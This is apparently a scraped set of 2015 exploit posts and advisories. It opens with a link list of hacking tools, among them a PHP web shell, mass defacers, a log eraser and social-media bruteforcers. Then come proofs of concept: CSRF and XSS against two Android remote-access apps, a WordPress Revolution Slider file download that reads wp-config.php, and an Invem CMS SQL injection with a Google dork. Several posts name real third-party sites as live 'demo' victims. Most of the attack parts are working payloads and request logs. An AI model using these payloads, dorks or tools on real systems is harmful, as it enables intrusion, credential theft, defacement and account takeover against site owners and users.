[+] AnonGhost PHP Shell [+] https://ghostbin.com/paste/9ckp3dst [+] Bypass Root Path With Zip File [+] https://ghostbin.com/paste/tdbvr2ug [+] Bypass Forbidden with Python via TCP Protocol [+] https://ghostbin.com/paste/qbrs9r8a [+] Wordpress 0day CSRF + Brute Token [+] https://ghostbin.com/paste/znxkcojv [+] Wordpress Index Hijack [+] https://ghostbin.com/paste/8wf2yj2v [+] CPanel & FTP Auto Defacer [+] https://ghostbin.com/paste/z6jfwrbm [+] Reverse IP Lookup [+] https://ghostbin.com/paste/kaa5na3x [+] Logs Eraser [+] https://ghostbin.com/paste/w9puv3kq [+] Facebook Multi-Account Bruteforce [+] https://ghostbin.com/paste/akn9adf8 [+] Bypass SafeMode [+] https://ghostbin.com/paste/j423dffz [+] Skype BruteForce [+] https://ghostbin.com/paste/r85xqq28 [+] Virtual Bypass Via Error_Log [+] https://ghostbin.com/paste/qjb2shhu [+] Shtml Bypass Symlink Via Error [+] https://ghostbin.com/paste/orqjsu6e [+] Bypass Users Server [+] https://ghostbin.com/paste/koew333z [+] Cpanel Mass Defacer [+] https://ghostbin.com/paste/nt3zc43b [+] Bypass Chmod Directory [+] https://ghostbin.com/paste/2q6vjea3 [+] Bypass Root Path [+] https://ghostbin.com/paste/y8jx2hfs [+] Wordpress Add Admin User [+] https://ghostbin.com/paste/ffqvakw8 [+] Server Informations [+] https://ghostbin.com/paste/om32c59z [+] Twitter Multi-Account Brute force [+] https://ghostbin.com/paste/hsmbtep8 [+] Symlink Bypass [+] https://ghostbin.com/paste/ywv75o46 [+] Bypass /etc/passwd [+] https://ghostbin.com/paste/6nuom97j Password: ./d3f4ult_v1rUsa

Document Title: =============== Wireless File Transfer Pro 1.0.1 - (Android) CSRF Remote Command Execution (Creat, Delete) Release Date: ============= 2015-02-10 Product & Service Introduction: =============================== Wireless File Transfer Pro is the advanced version of Wireless File Transfer. (Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.lextel.WirelessFileTransferPro ) Affected Product(s): ==================== Wireless File Transfer Pro 5.9.5 - (Android) Web Application 1.0.1 Lextel Technology Exploitation Technique: ======================= Remote Severity Level: =============== Medium Request Method(s): [+] [GET] Vulnerable Module(s): [+] browse Vulnerable Parameter(s): [+] fileExplorer.html? Affected Module(s): [+] Index of Documents (http://localhost:8888) Technical Details & Description: ================================ cross site request forgery has been discovered in the Wireless File Transfer Pro 1.0.1 Android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and local command injection attacks. Proof of Concept (PoC): ======================= Creat New Folder <img src="http://192.168.1.2:8888/fileExplorer.html?action=create&type=folder&folderName=test1" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /fileExplorer.html?action=create&type=folder&folderName=test1 HTTP/1.1 Host: 192.168.1.2:8888 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4 <a href="#" onclick="actionBrower('/sdcard/test1')">test1</a></td></td><td width="24%"></td><td width="24%">2015-02-09 18:12:19</td><td width="15%"> Delete File, Folder <img src="http://192.168.1.2:8888/fileExplorer.html?action=deleteFile&fileName=test""width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /fileExplorer.html?action=deleteFile&fileName=test HTTP/1.1 Host: 192.168.1.2:8888 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 30 Reference: http://localhost:8888/ Security Risk: ============== The security risk of the cross site request forgery issue and command injection vulnerability is estimated as medium. (CVSS 4.4) Credits & Authors: ================== Hadji Samir s-dz@hotmail.fr Source

[+] Title: Wordpress slider reolusion local file download [+] Date: 2015-01-25 [+] Author: JOK3R [+] Vendor Homepage: https://wordpress.org/plugins/patch-for-revolution-slider/ [+] Tested on: windows 7 / firefox , kali linux / firefox [+] Vulnerable Files: /plugins/revolution-slider/ [+} Dork : "Index of" /wp-content/plugins/revolution-slider/ ### POC: http://victim/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php ### Demo: http://www.bungaburgerbar.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php http://www.peanut215.com/peanut/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php http://www.pro-businesscenter.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php ### Credits: [+] Special Thanks: Sheytan Azzam - Mohamad NOfozi - Root3r - Sina_lizard - Ali Ahmady - iliya Norton - Mr.Moein* - ALIREZA_PROMIS* And All iranian Hacker's And Exploiter's <3 [+] iran-cyber.in Source

Document Title: =============== LizardSquad DDoS Stresser - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1417 http://magazine.vulnerability-db.com/?q=articles/2015/01/20/lizardsquad-ddos-stresser-multiple-vulnerabilities-revealed-takeover-ddos# Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1417 Common Vulnerability Scoring System: ==================================== 8.9 Product & Service Introduction: =============================== The product, called Lizard Stresser is a stress tester that might let you see how your own network stands up to DDoS attacks, like the ones that interrupted the gaming networks for several days last week. DDoS attacks basically overload servers with massive amounts of bogus requests. (Copy of the Homepage: https://lizardstresser.su/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official LizardSquad DDoS Stresser online-service web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== LizardSquad Product: DDoS Stresser - Web Application (Online-Service) 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple web vulnerabilities has been discovered in the official LizardSquad `Stresser DDoS Service` web-application. 1.1 The 1st vulnerability is located in `username` value of the registration module. A user can register a script code as payload to the name values. The ddos web-service of the input on registration uses the wrong conditions to encode and parse. Thus allows to execute the injected script code in the `./ref` module of the service. The request method to inject is POST and the vulnerability is located on the application-side of the ddos stresser service. The main administrators are able to see the user passwords, by watching the logs of an compromised server you see that they can switch by login in through the registered user accounts. This is possible because of plain transfered passwords in the ddos application. The known event can be used to prepare malicious code that executes function in connection with application-side injected script codes. The vulnerable file to inject the code is the register.php file. Another execution of the injected script code occurs in the main dashboard (left sidebar) were the username is getting visible. Vulnerable Module(s): [+] Registration (./ref) Vulnerable Parameter(s): [+] username Affected Module(s): [+] Dashboard (Username in Left Sidebar) 1.2 The 2nd vulnerability is located in the Ticket Title & Ticket Content input fields of the `Tickets` (tickets) module. A fresh registered user account is able to inject own malicious persistent script code to the ticket input fields to exploit a backend administrator account. After an attacker registers and inject own script code to the ticket system he is able to get the ip of the backend users or can compromise the session data of moderators/administrators. The inject occurs in the `./tickets` module. The execution takes place locally in the listed open ticket items of the backend. Remote attackers are also able to access other tickets and stored information by intercepting the session of the add Ticket POST method request. Vulnerable Module(s): [+] Tickets (./tickets) Vulnerable Parameter(s): [+] name (servername) 1.3 The 3rd vulnerability is located in the target server `name` value. The attacker uses the device or servername to send malicious data to the ddos application control panel. A remote attacker can change the server or device name value to a script code payload that executes in the panel (server target list). The service syncs the the device/server name value after the infection but also if the attacker syncs the data manually. In case of usage macOS to attack it is possible to change the servername easily to a malicious script code payload that affects the ddos control panel. Vulnerable Module(s): [+] server list Vulnerable Parameter(s): [+] name (servername) 1.4 The 4th vulnerability is located in the `dasboard > user settings > change password` module. The data in the POST method to change the own account password is send in plain-text. Thus allows remote attackers and network administors to capture compromised accounts. The service can also be observed by man-in-the-middle attacks in the local network. Vulnerable Module(s): [+] dasboard > user settings > change password 1.5 The 5th vulnerability is also located in the `dasboard > user settings > change password` module. The POST method request of the change function in the ddos application can be intercepted by attackers to compromise the service. The remote attacker logs in as user and intercepts the session information by changing to an existing user account. Successul exploitation of the session tampering issues results in account system compromise (administrators/customers). Vulnerable Module(s): [+] dasboard > user settings > change password Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= 1.1 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/usercp Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://lizardstresser.su/usercp] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: cpassword[chaos666] npassword[http%3A%2F %2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] rpassword[http%3A%2F%2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] updatePassBtn[Change+Stored+Data%21] Response Header: Date[Tue, 20 Jan 2015 10:29:21 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba972a06dd15b3-FRA] Content-Encoding[gzip] - Status: 302[Moved Temporarily] POST https://lizardstresser.su/register.php Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://lizardstresser.su/register.php] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: username[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E2] password[chaos666] rpassword[chaos666] email[research%40vulnerbaility-lab.com] ref[%2F] checkbox1[1] register[Register] Response Header: Server[cloudflare-nginx] Date[Tue, 20 Jan 2015 11:20:02 GMT] Content-Type[text/html] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[/purchase] CF-RAY[1abae168238f15b3-FRA] X-Firefox-Spdy[3.1] Reference(s): http://lizardstresser.su/?r=imgsrcx2020iframesrca20iframe https://lizardstresser.su/register.php 1.2 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/ajax/addticket.php Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://lizardstresser.su/tickets] Content-Length[324] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: title2[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] code[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] content[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] hash[JMX02SbuIwklRiGPAVDgeOC5nTs41xFp] Response Header: Date[Tue, 20 Jan 2015 10:30:54 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba996d3d7115b3-FRA] Content-Encoding[gzip] Reference(s): http://lizardstresser.su/ajax/addticket.php Credits & Authors: ================== Vulnerability Laboratory [Research Team] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+]Exploit Title : Invem CMS SQL INJECTION Vulnerability [+] [+]Exploit Author : Ashiyane Digital Security Team [+] [+]Vendor Homepage: http://www.invem.com/ [+] [+]Google Dork : intext:Powered by INVEM. [+] [+]Date : 20 / Jan / 2015 [+] [+]Tested On : windows se7en + linux Kali + Google Chrome + Mozilla [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+]~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~> DEMO <~ ~ ~ [+] [+] http://www.onemart.cc/news_view.php?newsid=124%27 [+] [+] http://www.jcptdc.com/about.php?id=1%27 [+] [+] http://www.plmgroup.cn/news_view.php?newsid=122%27 [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+] Discovered by : SeRaVo.BlackHat [+] Hassan [+] [+] [+] ~ General.BlackHat@Gmail.com ~ https://www.facebook.com/general.blackhat [+] [+] ~ Unitazad@YaHoo.com ~ https://twitter.com/strip_ssl [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+] MY FRIEND'Z : Unhex.coder + #N3T + Lupin 13 + AMOK + Milad.Hacking + 3cure BlackHat + Dr.3vil [+] Mr.Time + SHD.N3T + MR.M@j!D + eb051 + RAMIN + ACC3SS + X3UR + 4li.BlackHat + IraQeN-H4XORZ [+] Dj.TiniVini + NoL1m1t + l4tr0d3ctism + r3d_s0urc3 + 0x0ptim0us + E1.Coders + MR.F@RDIN [+] 0xTiger + C4T + Predator + S!Y0U.T4r.6T + soheil.hidd3n + Soldier + Spoofer + Cyb3r_Dr4in [+] Net.editor + M3QDAD + M.R.S.CO + Hesam King + Evil Shadow + 3H34N + G3N3Rall + Mr.XHat [+] [+] And All Iranian Cyber Army ...\. [+] Home : Ashiyane.org/Forum [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] Source : Sites Powered By INVEM SQL Injection ? Packet Storm

Document Title: =============== Remote Web Desktop Full 5.9.5 - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1409 Release Date: ============= 2015-01-19 Vulnerability Laboratory ID (VL-ID): ==================================== 1409 Common Vulnerability Scoring System: ==================================== 2.4 Product & Service Introduction: =============================== Remote Web Desktop enable you remotely manage & control your Android device from the computer web browser over wireless connection. (Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=net.xdevelop.rmp ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Remote Web Desktop Full v5.9.5 Android application. Vulnerability Disclosure Timeline: ================================== 2015-01-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== SmartDog Studio HK Product: Remote Web Desktop Full 5.9.5 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple cross site request forgery and cross site scripting vulnerabilities has been discovered in the Remote Web Desktop Full 5.9.5 Android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and cross site scripting attacks. 1.1 The cross site scripting vulnerabilities are located in `to` value of the `sendSMS.json` file in the send sms function. The attackers needs to `Create new a contact` or `Create a contact group` with a malicious payload as name to inject. The execution occurs after the refresh inside of the main message module. Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] to 1.2 The cross site request forgery vulnerabilities are located in the `makeCall.json`,`sendSMS.json`,`addTextFile.json`, `deleteFile.json` files. Remote attackers are able prepare special crafted URLs that executes client-side requests to execute application functions (delete,add, call, send). Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] makeCall.json [+] sendSMS.json [+] addTextFile.json [+] deleteFile.json Proof of Concept (PoC): ======================= 1.1 The cross site request forgery vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Call Phone Number <img src="http://localhost:8999/makeCall.json?phoneNo=11111111111" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /makeCall.json?phoneNo=11111111111 HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4 true Send SMS: --- PoC Session Logs [GET] (Execution) --- <img src="http://localhost:8999/sendSMS.json?to=333&content=Hello""width="0" height="0" border="0"> GET /sendSMS.json?to=333&content=Hello HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 30 SMS to 333 sent successfully Create File: --- PoC Session Logs [GET] (Execution) --- <img src="http://localhost:8999/addTextFile.json?id=/folder&name=file" width="0" height="0" border="0"> GET /addTextFile.json?id=/folder/&name=file HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 26 /folder/file Delete File: <img src="http://localhost:8999/deleteFile.json?id=/file" width="0" height="0" border="0"> GET /deleteFile.json?id=%2Fmnt%2Femmc%2Faissak%7C HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4 true Reference: http://localhost:8999/ 1.2 The application-side input validation web vulnerabilities can be exploited by local low privileged application account or remote attackers with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Application-Side Cross Site Scripting --- PoC Session Logs [GET] (Execution) --- GET /sendSMS.json?to=%3Cimg+src%3Dx+onerror%3Dalert(%2FXSS%2F)%3E&content=%3Cimg+src%3Dx+onerror%3Dalert(%2FXSS%2F)%3E&uid=1421297818963 HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/plain; charset=utf-8 Referer: http://192.168.1.3:8999/ Cookie: RemoteMobileSession=-6603034196170561541 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 68 SMS to <img src=x onerror=alert(/XSS/)> sent failed: Unknown Error --- PoC Session Logs [GET] (Execution) --- Create new a contact or a contact group with the payload as name "<img src=x onerror=alert(/XSS/)>" and click the contact button to save Reference: http://localhost:8999/ Security Risk: ============== 1.1 The security risk of the cross site request forgery web vulnerabilities are estimated as medium. (CVSS 2.2) 1.2 The security risk of the application-side input validation web vulnerability is estimated as medium. (CVSS 2.4) Credits & Authors: ================== Hadji Samir s-dz@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Source : Remote Web Desktop Full 5.9.5 Cross Site Request Forgery / Cross Site Scripting ? Packet Storm